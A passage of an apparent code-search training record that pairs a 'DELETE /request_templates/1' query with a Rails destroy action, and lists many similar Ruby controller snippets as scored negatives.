"def update\n Spree::Template.update_all(:selected => false)\n @template = Spree::Template.find(params[:id])\n @template.selected = true\n @template.theme_color = params[:template][:theme_color]\n @template.variant_display_type = params[:template][:variant_display_type]\n @template.is_allowed_custom_theme = params[:template][:is_allowed_custom_theme]\n \n respond_to do |format|\n if @template.save!\n format.html { redirect_to admin_templates_path, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = \"#{@template.errors.full_messages.first}\"\n format.html { redirect_to admin_templates_path }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @questionnaire_template.update(questionnaire_template_params)\n format.html { redirect_to @questionnaire_template, notice: 'questionnaire template was successfully updated.' }\n format.json { render :show, status: :ok, location: @questionnaire_template }\n else\n format.html { render :edit }\n format.json { render json: @questionnaire_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bulk_message_template = BulkMessageTemplate.find(params[:id])\n\n respond_to do |format|\n if @bulk_message_template.update_attributes(params[:bulk_message_template])\n format.html { redirect_to @bulk_message_template, notice: 'Bulk message template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bulk_message_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, :notice => 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n authorize @service_template\n\n respond_to do |format|\n if @service_template.update(service_template_params)\n format.html { redirect_to service_template_path(@service_template), notice: 'Service template was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_template }\n else\n format.html { render :edit }\n format.json { render json: @service_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def delete\n super \"/templates/#{template_id}.json\", {}\n end",
"def update\n respond_to do |format|\n if @survey_template.update(survey_template_params)\n format.html { redirect_to @survey_template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @survey_template }\n else\n @record = @survey_template\n format.html { render :edit }\n format.json { render json: @survey_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n template = Template.find(params[:id])\n authorize template\n begin\n args = template_params\n # Swap in the appropriate visibility enum value for the checkbox value\n args[:visibility] = parse_visibility(args, current_user.org)\n template.assign_attributes(args)\n template.links = ActiveSupport::JSON.decode(params['template-links']) if params['template-links'].present?\n if template.save\n render(json: {\n status: 200,\n msg: success_message(template, _('saved'))\n })\n else\n render(json: {\n status: :bad_request,\n msg: failure_message(template, _('save'))\n })\n end\n rescue ActiveSupport::JSON.parse_error\n render(json: {\n status: :bad_request,\n msg: format(_('Error parsing links for a %{template}'),\n template: template_type(template))\n })\n nil\n rescue StandardError => e\n render(json: {\n status: :forbidden,\n msg: e.message\n }) and return\n end\n end",
"def patch(request)\n request.method = :patch\n request.call\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rcadmin_email_template.update(rcadmin_email_template_params)\n flash[:notice] = 'Email template was successfully updated.'\n format.html { redirect_to rcadmin_email_templates_url, notice: 'Email template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rcadmin_email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n\n respond_to do |format|\n if @admin_kpi_template.update_attributes(params[:admin_kpi_template])\n format.html { redirect_to @admin_kpi_template, notice: 'Kpi template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_kpi_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @email_template.update(email_template_params)\n update_contact_category\n format.html { redirect_to @email_template, notice: 'Email template was updated.' }\n else\n format.html { render :edit }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.find(params[:id])\n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name) \n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n flash[:notice] = t('email_templates.new.success', :email_template_name => @email_template.name)\n format.html { redirect_to(edit_email_template_url(@email_template)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @template = CustomTemplate.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n\t\tformat.html { redirect_to(\"/custom_templates/\" + @template.id.to_s + \"/edit\", :notice => 'CustomTemplate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page_template = PageTemplate.find(params[:id])\n\n respond_to do |format|\n if @page_template.update_attributes(params[:page_template])\n format.html { redirect_to @page_template, notice: 'Page template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quest_template = QuestTemplate.find(params[:id])\n\n respond_to do |format|\n if @quest_template.update_attributes(params[:quest_template])\n flash[:notice] = 'QuestTemplate was successfully updated.'\n format.html { redirect_to(@quest_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quest_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @template_task = TemplateTask.find(params[:id])\n\n respond_to do |format|\n if @template_task.update_attributes(permitted_params_for_template_task)\n format.html { redirect_to template_tasks_path, notice: 'TemplateTask was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @form_template.update(form_template_params)\n format.html { redirect_to @form_template, notice: 'Formularvorlage wurde erfolgreich aktualisiert' }\n format.json { render :show, status: :ok, location: @form_template }\n else\n format.html { render :edit }\n format.json { render json: @form_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lcb_template.update(lcb_template_params)\n format.html { redirect_to @lcb_template, notice: 'Lcb template was successfully updated.' }\n format.json { render :show, status: :ok, location: @lcb_template }\n else\n format.html { render :edit }\n format.json { render json: @lcb_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_template.update(event_template_params)\n format.html { redirect_to @event_template, notice: \"Event template was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event_template }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inspection_template.update(inspection_template_params)\n format.html { redirect_to @inspection_template, notice: 'Inspection template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inspection_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @template.update(template_params)\n handle_save_success @template, :ok, t('templates.update_success')\n else\n handle_save_error @template.errors, :edit\n end\n end",
"def update!(**args)\n @job_templates = args[:job_templates] if args.key?(:job_templates)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @unreachable = args[:unreachable] if args.key?(:unreachable)\n end",
"def update\n respond_to do |format|\n if @survey_item_template.update(survey_item_template_params)\n format.html { redirect_to @survey_item_template.survey_item_category_template.survey_template, notice: 'Survey item template was successfully updated.' }\n format.json { render :show, status: :ok, location: @survey_item_template }\n else\n format.html { render :edit }\n format.json { render json: @survey_item_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.629729",
"0.6247277",
"0.62214077",
"0.61918956",
"0.6136233",
"0.609886",
"0.6057968",
"0.6029072",
"0.60271925",
"0.6007233",
"0.6004755",
"0.6003703",
"0.59962213",
"0.5988059",
"0.59747094",
"0.59622484",
"0.594716",
"0.5942636",
"0.59343684",
"0.5930996",
"0.59290284",
"0.59190875",
"0.59190875",
"0.59167266",
"0.591405",
"0.59069264",
"0.5906807",
"0.58884585",
"0.5887082",
"0.5883649",
"0.587526",
"0.5866189",
"0.58606493",
"0.58594567",
"0.5859345",
"0.5846285",
"0.5831619",
"0.5829745",
"0.5826466",
"0.58220893",
"0.582189",
"0.5802168",
"0.5782216",
"0.5780956",
"0.57783175",
"0.5776386",
"0.5760117",
"0.5755884",
"0.57491356",
"0.57462126",
"0.5741462",
"0.5735837",
"0.5734751",
"0.5731273",
"0.5720333",
"0.57202065",
"0.5707558",
"0.5706576",
"0.57060575",
"0.57010126",
"0.57007056",
"0.56988275",
"0.56955415",
"0.56955415",
"0.568843",
"0.56844467",
"0.5683876",
"0.56717515",
"0.56717515",
"0.56717515",
"0.56717515",
"0.5666641",
"0.5662635",
"0.5662635",
"0.56583536",
"0.56520855",
"0.56507486",
"0.5645596",
"0.56421906",
"0.56336886",
"0.56336886",
"0.5626315",
"0.5617487",
"0.561619",
"0.56050384",
"0.5601987",
"0.5597833",
"0.5589024",
"0.55846566",
"0.5579069",
"0.5576923",
"0.55706173",
"0.55586183",
"0.5553327",
"0.5543653",
"0.5542549",
"0.55325484",
"0.55204636",
"0.55196977",
"0.5519607"
] |
0.72079736
|
0
|
DELETE /request_templates/1 DELETE /request_templates/1.json
|
def destroy
@request_template.destroy
respond_to do |format|
respond format, 'Request template was successfully destroyed.'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n super \"/templates/#{template_id}.json\", {}\n end",
"def delete\n response = CreateSend.delete \"/templates/#{template_id}.json\", {}\n end",
"def delete(options={})\n DNSimple::Client.delete \"templates/#{id}\", options\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n r = request('DeleteTemplate', { :name => name })\n return r['status'] == ' ok ' \n end",
"def destroy\n @invoice_template = InvoiceTemplate.find(params[:id])\n @invoice_template.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @admin_template = Template.find(params[:id])\n @admin_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_path, notice: 'template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_template = PurchaseTemplate.find(params[:id])\n @purchase_template.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @emailtemplate.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = set_template\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_template.destroy\n respond_to do |format|\n format.html { redirect_to my_templates_url, notice: 'My template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n @client.call(method: :delete, path: \"templates/#{id}\")\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n @attr_template.destroy\n respond_to do |format|\n format.html { redirect_to attr_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @docu_template.destroy\n respond_to do |format|\n format.html { redirect_to docu_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cf_template.destroy\n respond_to do |format|\n format.html { redirect_to cf_templates_url, notice: I18n.t('cf_templates.msg.deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gift_template = GiftTemplate.find(params[:id])\n @gift_template.destroy\n\n respond_to do |format|\n format.html { redirect_to gift_templates_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to admin_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node_template = NodeTemplate.find(params[:id])\n @node_template.destroy\n\n respond_to do |format|\n format.html { redirect_to node_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n DNSimple::Client.delete(\"/v1/templates/#{id}\", options)\n end",
"def delete_template(opts)\n post(\"/template/delete/#{opts[:template_id]}\")\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rcadmin_email_template.destroy\n respond_to do |format|\n\t flash[:notice] = 'Email template was successfully deleted.'\n format.html { redirect_to rcadmin_email_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize! :manage, :all\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @_template = @site.templates.find(params[:id])\n @_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_template = InventoryTemplate.find(params[:id])\n @inventory_template.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n destroy_resource @template, templates_url, t('templates.delete_success')\n end",
"def destroy\n @crawler_template = CrawlerTemplate.find(params[:id])\n @crawler_template.destroy\n\n respond_to do |format|\n format.html { redirect_to crawler_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete_content_template(id)\n # TODO: Inform ContentTemplateController.destroy method has been modified\n @client.raw('delete', \"/content/templates/#{id}\")\n end",
"def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bulk_message_template = BulkMessageTemplate.find(params[:id])\n @bulk_message_template.destroy\n\n respond_to do |format|\n format.html { redirect_to bulk_message_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @induction_template.destroy\n respond_to do |format|\n format.html { redirect_to induction_templates_url, notice: 'Induction template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @email_template.destroy\n respond_to do |format|\n format.html { redirect_to email_templates_url, notice: 'Email template was destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n head :no_content\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { message('You have successfully deleted this request') }\n format.json { head :ok }\n end\n end",
"def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url, notice: 'Item template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invitation_template.destroy\n respond_to do |format|\n format.html { redirect_to invitation_templates_url, notice: 'Invitation template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doc_template.destroy\n respond_to do |format|\n format.html { redirect_to doc_templates_url, notice: 'Doc template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @survey_template.destroy\n respond_to do |format|\n format.html { redirect_to organization_survey_templates_url(@organization), notice: 'Survey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template_package.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_template = ProjectTemplate.find(params[:id])\n @project_template.destroy\n\n respond_to do |format|\n format.html { redirect_to project_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire_template.destroy\n respond_to do |format|\n format.html { redirect_to questionnaire_templates_url, notice: 'questionnaire template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @default_email_template.destroy\n respond_to do |format|\n format.html { redirect_to default_email_templates_url, notice: 'Default email template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inspection_template.destroy\n respond_to do |format|\n format.html { redirect_to inspection_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @newsletters_template = Newsletters::Template.find(params[:id])\n @newsletters_template.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletters_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_template = PageTemplate.find(params[:id])\n @page_template.destroy\n\n respond_to do |format|\n format.html { redirect_to page_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.find(params[:id])\n @nagios_service_escalation_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(nagios_service_escalation_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n if @template.destroy\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end",
"def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end",
"def destroy\n audit(@service_template, \"destroy\", @service_template.name)\n authorize @service_template\n\n @service_template.destroy\n respond_to do |format|\n format.html { redirect_to service_templates_url, notice: 'Service template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @quest_template = QuestTemplate.find(params[:id])\n \n begin\n @quest_template.quest_giver.destroy\n @quest_template.quest_involver.destroy\n rescue Exception => e\n end\n @quest_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(quest_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @show_template.destroy\n respond_to do |format|\n format.html { redirect_back_to show_templates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @call_template.destroy\n respond_to do |format|\n format.html { redirect_to call_templates_url, notice: 'Call template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n end\n end",
"def destroy\n @request_datum.destroy\n respond_to do |format|\n format.html { redirect_to request_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post_template.destroy\n respond_to do |format|\n format.html { redirect_to post_templates_url, notice: 'Post template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom_pet_template.destroy\n respond_to do |format|\n format.html { redirect_to custom_pet_templates_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.8061225",
"0.76833373",
"0.73084533",
"0.71539706",
"0.71461254",
"0.7126423",
"0.7111957",
"0.7064959",
"0.70546407",
"0.7034069",
"0.7023614",
"0.70230514",
"0.7022959",
"0.70214623",
"0.70214623",
"0.70139796",
"0.7010606",
"0.7010606",
"0.7010606",
"0.7005003",
"0.7002002",
"0.69877535",
"0.6987184",
"0.6981992",
"0.69801146",
"0.69776726",
"0.69741064",
"0.69716775",
"0.6956464",
"0.6949154",
"0.6948622",
"0.6948622",
"0.6948622",
"0.6948622",
"0.6948622",
"0.6948622",
"0.6941598",
"0.6922272",
"0.6921123",
"0.69161993",
"0.6905696",
"0.6905696",
"0.6905696",
"0.68954134",
"0.68867385",
"0.68841463",
"0.6883517",
"0.68807787",
"0.687245",
"0.68693304",
"0.6868802",
"0.6867096",
"0.68618435",
"0.68616694",
"0.68589807",
"0.6856165",
"0.68500674",
"0.68411624",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.6839969",
"0.68355346",
"0.68329936",
"0.68307865",
"0.68188244",
"0.681823",
"0.68066597",
"0.68021667",
"0.68008804",
"0.6799077",
"0.6793491",
"0.67839605",
"0.6783312",
"0.67798877",
"0.67764795",
"0.6772791",
"0.67717004",
"0.67596626",
"0.67592615",
"0.67473227",
"0.67382884",
"0.67364943",
"0.6723095",
"0.6720248",
"0.6712203"
] |
0.7535392
|
2
|
Use callbacks to share common setup or constraints between actions.
|
def set_request_template
@request_template = RequestTemplate.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
